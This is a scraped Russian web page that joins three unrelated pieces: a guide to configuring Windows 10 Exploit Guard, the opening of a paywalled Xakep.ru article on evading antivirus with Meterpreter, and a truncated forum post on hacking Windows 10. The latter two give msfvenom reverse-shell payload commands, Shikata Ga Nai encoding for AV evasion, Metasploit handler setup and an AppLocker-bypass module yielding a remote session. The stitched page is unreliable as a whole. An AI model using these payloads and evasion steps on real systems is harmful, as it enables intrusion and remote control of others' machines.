- Защита от эксплойтов (Exploit Guard) в Защитнике Windows 10
- Системные параметры
- Параметры программ
- Импорт и экспорт настроек
- Настройка Exploit Guard с помощью PowerShell
- Скрытая нагрузка. Обходим антивирус и загружаем Meterpreter из памяти в Windows 10
- Содержание статьи
- Shikata Ga Nai
- Определение проблемы
- Запуск Meterpreter из памяти
- Продолжение доступно только участникам
- Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
- Вариант 2. Открой один материал
- Denis Simonov
- Статья Hack Windows 10 (meterpreter)
Защита от эксплойтов (Exploit Guard) в Защитнике Windows 10
Защита от эксплойтов (Exploit Guard) — эта новая функция в Windows Defender в Windows 10 1709, которая представляет собой объединенную и более улучшенную версию инструмента EMET от Microsoft. Exploit Guard предназначен для защиты компьютера от эксплоитов, и заражения вашей системы вредоносными программами. Специально активировать Защиту от эксплойтов не нужно, это происходит автоматически, но только при включенном защитнике Windows.
Изменить параметры Exploit Guard по умолчанию можно в Центре безопасности Защитника Windows.
- Получить к нему доступ можно через меню Пуск или Параметры (Windows + I). Настройки будут производиться именно через Центр Безопасности, а не Параметры Защитника. Учитывайте это при использовании быстрого поиска.
Всего есть две основные категории для изменения конфигураций на компьютере. Рассмотрим каждую из них более подробно.
Системные параметры
Здесь отображается список доступных пользователю механизмов защиты Windows. Рядом указывается статус — включено, отключено. Доступны:
- CFG. Защита потока управления и обеспечение его целостности для совершения непрямых вызовов (включена по умолчанию).
- SEHOP. Проверка цепочек исключений и обеспечение ее целостность во время отправки.
- DEP. Предотвращение выполнения данных (включена по умолчанию).
- Обязательный ASLR. Принудительное случайное распределение для образов, которые не соответствуют /DYNAMICBASE (выключена по умолчанию).
- Низкий ASLR. Случайное распределение выделения памяти. (включена по умолчанию).
- Проверка целостности кучи. В случае нахождения повреждений, процесс автоматически завершается. (включена по умолчанию).
Пользователь может отключить их независимо друг от друга.
Параметры программ
В этом разделе можно отдельно редактировать дополнительные настройки защиты для каждого исполняемого файла, добавлять их в список исключений. Если ПО конфликтует при каком-либо активированном в системных параметрах модуле, то его можно отключить. При этом настройки других программ останутся прежними.
Опция работает по тому же принципу, что и исключения в инструменте EMET от Microsoft. По умолчанию здесь уже находятся некоторые штатные программы Windows.
Добавить новый исполняемый файл в список можно здесь же, нажав на кнопку «Добавление программы для индивидуальной настройки». Для этого укажите название программы или точный путь к ней. После этого он отобразится в списке.
Пользователь может редактировать параметры для каждой отдельной программы. Для этого выберите ее из списка, и кликните «Редактировать», после чего принудительно выключите/ включите нужную опцию. По желанию программу можно удалить из списка исключений.
Для редактирования доступны только те параметры, которые невозможно настроить через категорию «Системные». Для некоторых опций доступно значение «Аудит». После его активации Windows будет записывать события в системный журнал, что удобно для дальнейшего анализа.
Импорт и экспорт настроек
Экспортировать текущие настройки Exploit Guard можно через Центр безопасности Защитника Windows. Для этого достаточно нажать на соответствующую кнопку и сохранить файл в формате XML.
Экспортировать настройки можно и через командную строку Windows PowerShell. Для этого есть команда:
Get-ProcessMitigation -RegistryConfigFilePath C:\Users\Alex\Desktop\Settings.xml
Для импорта необходимо заменить командлет Get на Set и по аналогии с примером указать название и путь к файлу.
Установить уже существующий XML файл с настройками можно через редактор локальных групповых политик gpedit.msc:
- В левой части экрана перейдите в ветку редактора Конфигурация компьютера —> Административные шаблоны —> Компоненты Windows —> Exploit Guard в Защитнике Windows —> Защита от эксплойтов. Откройте политику Используйте общий набор параметров защиты от эксплойтов.
- Измените значение на «Включено», а в появившемся поле укажите путь или URL- адрес к существующему XML файлу с конфигурацией.
Сохраните внесенные изменения нажав на «Применить». Настройки вступят в силу немедленно, поэтому перезагружать ПК не обязательно.
Настройка Exploit Guard с помощью PowerShell
Для редактирования списка модулей защиты можно использовать командную строку Windows PowerShell.
Здесь доступные следующие команды:
- Get-ProcessMitigation -Name iexplore.exe — получить список всех защитных мер для выбранного процесса. В данном примере это iexplore.exe, вы можете указать любой другой. Вместо имени программы, можно указать точный путь.
- Состояние NOTSET (не установлено) для категории системных параметров означает, что выставлены значения по умолчанию, для категории программ здесь следует вписать параметр, к которому будут присвоены меры защиты.
- —Set с добавочной командой ProcessMitigation используется для редактирования каждого отдельного значения. Чтобы активировать SEHOP для конкретного исполняемого файла (в нашем примере test.exe) по адресу C:\Users\Alex\Desktop\test.exe, используйте команду в PowerShell: Set-ProcessMitigation -Name C:\Users\Alex\Desktop\test.exe -Enable SEHOP
- Чтобы применить эту меру для всех файлов, а не для конкретной программы, используйте команду: Set-Processmitigation -System -Enable SEHOP
- -Enable — включить, —Disable — отключить.
- Командлет —Remove используется для восстановления настроек по умолчанию и указывается сразу после —Name.
- -Enable или —DisableAuditDynamicCode — активировать или выключить аудит.
При вводе команд учитывайте, что каждый отдельный параметр меры должен отделяться запятой. Посмотреть их список вы можете здесь же, в PowerShell. Они отобразятся после ввода команды Get-ProcessMitigation -Name имя_процесса.exe .
Скрытая нагрузка. Обходим антивирус и загружаем Meterpreter из памяти в Windows 10
Содержание статьи
Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По сути — прокачанная альтернатива классическим шелл‑кодам. Это отличный инструмент в арсенале любого пентестера, но он настолько популярен, что его сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.
Shikata Ga Nai
Одна из основных техник Metasploit — это схема кодирования полезной нагрузки Shikata Ga Nai (название переводится с японского как «ничего не поделаешь»). Работает она за счет SGN, уникального «полиморфного аддитивного энкодера XOR». Благодаря ему каждый раз, когда ты кодируешь шелл‑код, это будет происходить по‑другому, от чего нагрузка становится для антивируса безопасной на вид.
В SGN реализованы: динамическая замена команд, динамическое упорядочение блоков, случайный обмен регистрами, рандомизация порядка команд, вставка ненужного кода, использование случайного ключа и рандомизация расстояния между командами.
При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.
Подробнее о Shikata Ga Nai читай в публикации Ника Хоффмана, Джереми Хамбла и Тоби Тейлора.
Определение проблемы
Давай проверим Shikata Ga Nai на практике и узнаем, действительно ли его популярность привела к тому, что SGN отлавливают антивирусы. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Build 19042).
Генерировать шелл‑код я буду с помощью MSFvenom. В качестве слушателя выступит Kali Linux 2020.4 последней версии с установленным Metasploit 6.0.18-dev.
Для начала сгенерируем стандартную нагрузку без SGN:
$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -f exe > clean_shell. exe
.
Payload size: 354 bytes
Final size of exe file: 73802 bytes
На Kali поднимем handler. На интерфейсе eth1 IP-адрес 10. 10. 0. 180 :
$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Пробуем для начала передать файл, скачав его с помощью Google Chrome. Для этого поднимаю HTTP-сервер с помощью модуля для второй версии Python:
Пробую скачать наш шелл по адресу http:// 10. 10. 0. 180: 8000/ clean_shell. exe .
Очевидно, что файл заблокировал Google Chrome
Давай попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget и попробуем запустить.
При попытке открыть нас ждет предупреждение и файл удаляется
Файл Meterpreter был удален даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какая внимательная Windows! 🙂
Автоматическое удаление файла с Meterpreter
Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый пейлоад в MSFvenom. На машине с Kali по‑прежнему висит в ожидании handler.
Добавим к опциям -e x86/ shikata_ga_nai -b ‘\ x00’ -i 20 , то есть используем SGN в 20 итераций с удалением плохого символа \ x00 .
$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -e x86/ shikata_ga_nai -b \ x00 -i 20 -f exe > sgn_20_shell. exe
.
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
.
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes
Пробуем загрузить с помощью Google Chrome: http://10.10.0.180:8000/sgn_20_shell.exe.
SGN не помог обойти антивирус
Снова неудача. После скачивания с помощью Wget и запуска нас ждет такая же история, как и в прошлый раз, — с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.
C сентября 2020 года компания Google ввела Advanced Protection Program для высокорисковых пользователей, таких как политики и журналисты. Загружаемые участниками этой программы файлы могут сначала пройти проверку на серверах Google, а лишь потом попасть к пользователю.
Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог. Сам по себе полиморфизм в нем неплох, но слепок стаба этого энкодера уже давно изучен.
Запуск Meterpreter из памяти
Очевидное решение — уход в сторону выполнения Meterpreter из памяти работающего процесса. Возможно, нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.
Для выполнения программы из памяти я буду использовать Python. Известен способ запуска обратного шелла Python с последующей компиляцией скрипта в единый исполняемый файл модулем py2exe. Безусловно, вариант рабочий, хотя, как отмечает автор статьи по ссылке, питоновский шелл в Windows не позволяет делать некоторые вещи. Всегда есть возможность проапгрейдить Meterpreter прямо в сессии (post-модуль shell_to_meterpreter ). Однако это не всегда удобно, и этот способ можно улучшить.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Denis Simonov
Пентестер и дизайнер. Занимаюсь проблемами моделирования времени в виртуальных мирах.
Статья Hack Windows 10 (meterpreter)
Привет всем! В этой небольшой теме я хочу показать очередной способ взлома Windows, на этот раз это Windows 10. После обновления Metasploit в нем появился достаточно любопытный эксплоит (хотя, может он и раньше там был) — regsvr32_applocker_bypass_server
Итак, приступим, в терминале, вводим следующие команды:
> msfconsole (запускаем Metaslpoit)
> options (посмотрим доступные настройки эксплойта)
> set payload windows/meterpreter/reverse_tcp
> set LHOST 192.168.0.101 (Ваш локальный адрес)
Если все прошло успешно видим следующее:
То, что я выделил цветом, это команда, которую необходимо ввести в командной строке целевого хоста, для получения сессии meterpreter.
После выполнения команды, в терминале Kali Linux откроется сессия:
> sessions –I 1 (Подключимся к ней)
> ps (Посмотрим список процессов на целевом хосте)
Тестировал я этот способ на реальном ПК с установленной на нем: